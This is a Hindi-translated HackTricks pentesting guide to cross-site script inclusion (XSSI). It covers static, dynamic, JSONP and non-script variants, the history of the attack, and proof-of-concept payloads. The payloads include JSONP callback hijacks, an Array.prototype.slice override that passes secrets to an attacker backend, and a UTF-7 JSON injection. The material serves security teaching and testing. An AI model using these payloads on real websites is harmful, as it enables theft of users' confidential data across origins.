hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

16 KiB

XSSI (क्रॉस-साइट स्क्रिप्ट समावेश)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

जानकारी https://www.scip.ch/en/?labs.20160414 से ली गई थी

मूलभूत जानकारी

XSSI एक ऐसे सुरक्षा दुरुपयोग को निरूपित करता है जो यह उपयोग करता है कि, जब एक संसाधन script टैग का उपयोग करके समावेश किया जाता है, SOP लागू नहीं होता है, क्योंकि स्क्रिप्ट को क्रॉस-डोमेन में समावेश किया जा सकना चाहिए। इसलिए, एक हमलावर ऐसा कर सकता है कि वह सभी कुछ पढ़ सकता है जो script टैग का उपयोग करके समावेश किया गया था।

यह विशेष रूप से रुचिकर होता है जब यह डाइनामिक जावास्क्रिप्ट या JSONP के साथ संबंधित होता है, जब ऐसे संबंधित संसाधन का अनुरोध करते समय कुकीज़ जैसी वातावरण-अधिकारिता जानकारी का उपयोग किया जाता है। कुकीज़ एक अलग होस्ट से संसाधन का अनुरोध करते समय समावेश किए जाते हैं।

प्रकार

  1. स्थिर जावास्क्रिप्ट (नियमित XSSI)
  2. स्थिर जावास्क्रिप्ट, जो केवल प्रमाणीकरण के समय ही पहुंचने योग्य है
  3. गतिशील जावास्क्रिप्ट
  4. गैर-जावास्क्रिप्ट

नियमित XSSI

निजी जानकारी एक वैश्विक एक्सेस योग्य JS फ़ाइल में स्थित होती है, आप फ़ाइलें पढ़कर, खोज करके या रेजेक्स का उपयोग करके इसे आसानी से पता लगा सकते हैं।
इसे शोषण करने के लिए, केवल निजी जानकारी वाले स्क्रिप्ट को दुष्ट सामग्री में समाविष्ट करें:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

डायनामिक-जावास्क्रिप्ट-आधारित-एक्सएसएसआई और प्रमाणीकृत-जावास्क्रिप्ट-एक्सएसएसआई

जब एक उपयोगकर्ता इसे अनुरोध करता है, तो स्क्रिप्ट में गोपनीय जानकारी जोड़ी जाती है। इसे आसानी से खोजा जा सकता है जब आप अनुरोध को कुकीज के साथ और बिना कुकीज के भेजते हैं, यदि अलग-अलग जानकारी प्राप्त होती है, तो गोपनीय जानकारी शामिल हो सकती है। इसे स्वचालित रूप से करने के लिए आप बर्प एक्सटेंशन का उपयोग कर सकते हैं: https://github.com/luh2/DetectDynamicJS.

यदि जानकारी एक ग्लोबल वेरिएबल में संग्रहीत है, तो आप पिछले मामले के लिए उसी कोड का उपयोग करके इसे शोषण कर सकते हैं।
यदि गोपनीय डेटा JSONP प्रतिक्रिया के भीतर भेजा जाता है, तो आप जानकारी प्राप्त करने के लिए निष्पादित फ़ंक्शन को ओवरराइड कर सकते हैं:

<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

या आप JSONP प्रतिक्रिया द्वारा निष्पादित करने के लिए तैयार की गई फ़ंक्शन को सेट कर सकते हैं:

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

यदि एक चर ग्लोबल नेमस्पेस में स्थित नहीं होता है, तो कभी-कभी इसे प्रोटोटाइप तंग करने का उपयोग करके भी उत्पन्न किया जा सकता है। प्रोटोटाइप तंग करने का उपयोग जावास्क्रिप्ट के डिजाइन का दुरुपयोग करता है, अर्थात जब कोड का अनुवाद किया जाता है, तो जावास्क्रिप्ट प्रोटोटाइप चेन को ट्रावर्स करके बुलाए गए प्रॉपर्टी को ढूंढता है। निम्नलिखित उदाहरण डायनामिक जावास्क्रिप्ट के अप्रत्याशित खतरों से निकाला गया है और यह दिखाता है कि एक प्रासंगिक फ़ंक्शन को ओवरराइड करके और this तक पहुंच को लीक करके, एक ग्लोबल नहीं चर भी लीक किया जा सकता है।

(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();

वास्तविक कोड में slice नामक Array के प्रकार से हमें दिखाई देने वाले डेटा तक पहुंच होती है। एक हमलावर, पिछले अनुच्छेद में वर्णित करने के तरीके से, slice को अधिलेखित कर सकता है और रहस्यों को चुरा सकता है।

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

सुरक्षा शोधकर्ता सेबास्टियन लेकीज हाल ही में अपनी वेक्टरों की सूची को अपडेट किया।

गैर-स्क्रिप्ट-XSSI

टाकेशी तेराडा ने अपने पेपर पहचान आधारित XSSI हमलों में एक और प्रकार के XSSI का वर्णन किया है। उन्होंने, अन्य के बीच, script टैग में स्रोत के रूप में CSV फ़ाइलों को शामिल करके, डेटा को चर और फ़ंक्शन नामों के रूप में उपयोग करके, गैर-स्क्रिप्ट फ़ाइलों को क्रॉस-ओरिजिन लीक करने में सक्षम थे।

2006 में पहला सार्वजनिक दस्तावेजीकृत XSSI हमला हुआ था। जेरेमियाह ग्रोसमैन की ब्लॉग पोस्ट GMail का उपयोग करके उन्नत वेब हमला तकनीकें में एक XSSI का वर्णन किया गया है, जिसने Array कंस्ट्रक्टर को ओवरराइड करके एक गूगल अकाउंट के पूरे पता पुस्तिका को पढ़ने में सक्षम बनाया।

2007 में जो वॉकर ने JSON वास्तव में लोग सोचते हैं वह सुरक्षित नहीं है प्रकाशित किया। उन्होंने एक ही विचार का उपयोग करके उन एरे में स्थित JSON को चुराने का प्रयास किया।

अन्य संबंधित हमलों में UTF-7 कोडिंग को JSON में इंजेक्ट करके JSON प्रारूप से बचने का प्रयास किया गया। इसे गैरेथ हेयस, हैकवर्टर के लेखक, ने 2011 में प्रकाशित ब्लॉग पोस्ट JSON हिजैकिंग में वर्णित किया है। एक त्वरित परीक्षण में, यह माइक्रोसॉफ्ट इंटरनेट एक्सप्लोरर और एज में अभी भी संभव था, लेकिन मोजिला फ़ायरफ़ॉक्स या गूगल क्रोम में नहीं।

UTF-7 के साथ JSON:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

आक्रमक की पेज में JSON शामिल करें

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥